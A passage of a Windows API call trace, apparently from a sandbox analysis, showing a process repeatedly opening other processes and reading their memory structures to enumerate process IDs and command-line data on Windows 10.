ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0251.827] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x581018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0251.827] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0251.827] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x291cb0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0251.827] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2918f8, lpBuffer=0x2dc24fc2d0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0251.828] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0251.830] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0251.830] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x581020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0251.830] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0251.830] malloc (_Size=0x60) returned 0x20abc280370 [0251.830] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x291950, lpBuffer=0x20abc280370, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280370*, lpNumberOfBytesRead=0x0) returned 1 [0251.831] free (_Block=0x20abc280370) [0251.832] CloseHandle (hObject=0x170) returned 1 [0251.833] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0251.836] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4316") returned 4 [0251.837] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.837] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0251.852] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0x170 [0251.852] GetLastError () returned 0x0 [0251.853] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0251.853] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2c5018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0251.853] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0251.853] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x451d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0251.853] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4518f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0251.855] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0251.856] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0251.856] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2c5020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0251.856] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0251.856] malloc (_Size=0x76) returned 0x20abc282120 [0251.856] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x451966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0251.857] free (_Block=0x20abc282120) [0251.858] CloseHandle (hObject=0x170) returned 1 [0251.858] _ui64tow_s (in: _Value=0x10fc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4348") returned 0x0 [0251.862] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4348") returned 4 [0251.863] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.974] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0251.987] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10fc) returned 0x170 [0251.987] GetLastError () returned 0x0 [0251.988] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0251.988] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4526018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0251.988] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0251.988] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2d1e40, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0251.989] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2d19f8, lpBuffer=0x2dc24fc2d0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0251.990] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0251.991] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0251.991] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4526020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0251.991] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2d13e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0251.991] malloc (_Size=0xba) returned 0x20abc284e70 [0251.992] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2d1a64, lpBuffer=0x20abc284e70, nSize=0xb8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0251.992] free (_Block=0x20abc284e70) [0251.993] CloseHandle (hObject=0x170) returned 1 [0251.993] _ui64tow_s (in: _Value=0x11a8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4520") returned 0x0 [0251.997] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4520") returned 4 [0251.998] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.998] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0252.011] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11a8) returned 0x170 [0252.011] GetLastError () returned 0x0 [0252.013] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0252.013] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2dc20b8018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0252.013] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0252.013] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x20abba21bd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0252.013] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x20abba21818, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0252.014] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0252.015] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0252.015] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2dc20b8020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0252.015] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x20abba21200, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0252.015] malloc (_Size=0x76) returned 0x20abc282120 [0252.015] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x20abba21864, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0252.016] free (_Block=0x20abc282120) [0252.017] CloseHandle (hObject=0x170) returned 1 [0252.017] _ui64tow_s (in: _Value=0x1304, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4868") returned 0x0 [0252.119] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4868") returned 4 [0252.121] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0252.121] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0252.150] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1304) returned 0x170 [0252.150] GetLastError () returned 0x0 [0252.151] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0252.152] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7c7a461018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0252.152] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0252.152] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x26d1dbf1c60, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0252.152] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x26d1dbf18c8, lpBuffer=0x2dc24fc2d0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0252.153] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0252.154] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0252.155] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7c7a461020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0252.155] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x26d1dbf12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0252.155] malloc (_Size=0x54) returned 0x20abc2aa210 [0252.155] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x26d1dbf1910, lpBuffer=0x20abc2aa210, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa210*, lpNumberOfBytesRead=0x0) returned 1 [0252.156] free (_Block=0x20abc2aa210) [0252.156] CloseHandle (hObject=0x170) returned 1 [0252.157] _ui64tow_s (in: _Value=0xc34, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3124") returned 0x0 [0252.160] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3124") returned 4 [0252.161] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0252.161] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0252.174] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc34) returned 0x0 [0252.174] CloseHandle (hObject=0x0) returned 0 [0252.174] _ui64tow_s (in: _Value=0x4e8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1256") returned 0x0 [0252.290] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1256") returned 4 [0252.291] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0252.291] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0252.304] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x170 [0252.304] GetLastError () returned 0x0 [0252.305] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0252.305] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x3d9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0252.305] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0252.305] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4f1c80, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0252.305] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4f18c8, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0252.307] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0252.308] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0252.308] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x3d9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0252.308] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4f12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0252.308] malloc (_Size=0x58) returned 0x20abc2aa390 [0252.308] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4f191e, lpBuffer=0x20abc2aa390, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa390*, lpNumberOfBytesRead=0x0) returned 1 [0252.309] free (_Block=0x20abc2aa390) [0252.309] CloseHandle (hObject=0x170) returned 1 [0252.310] _ui64tow_s (in: _Value=0xbf4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3060") returned 0x0 [0252.313] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3060") returned 4 [0252.314] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0252.314] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0252.327] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x170 [0252.328] GetLastError () returned 0x0 [0252.328] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0252.329] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x36f018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0252.329] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0252.329] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x701dc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0252.329] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x701a58, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0252.330] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0252.331] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0252.331] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x36f020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0252.331] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x701440, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0252.375] malloc (_Size=0x5e) returned 0x20abc280450 [0252.375] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x701aae, lpBuffer=0x20abc280450, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280450*, lpNumberOfBytesRead=0x0) returned 1 [0252.375] free (_Block=0x20abc280450) [0252.376] CloseHandle (hObject=0x170) returned 1 [0252.377] _ui64tow_s (in: _Value=0xb58, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2904") returned 0x0 [0252.381] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2904") returned 4 [0252.382] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0252.382] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0252.395] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0x170 [0252.395] GetLastError () returned 0x0 [0252.396] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0252.396] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x287018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0252.397] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0252.397] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0252.397] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5a18c8, lpBuffer=0x2dc24fc2d0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0252.398] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0252.399] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, 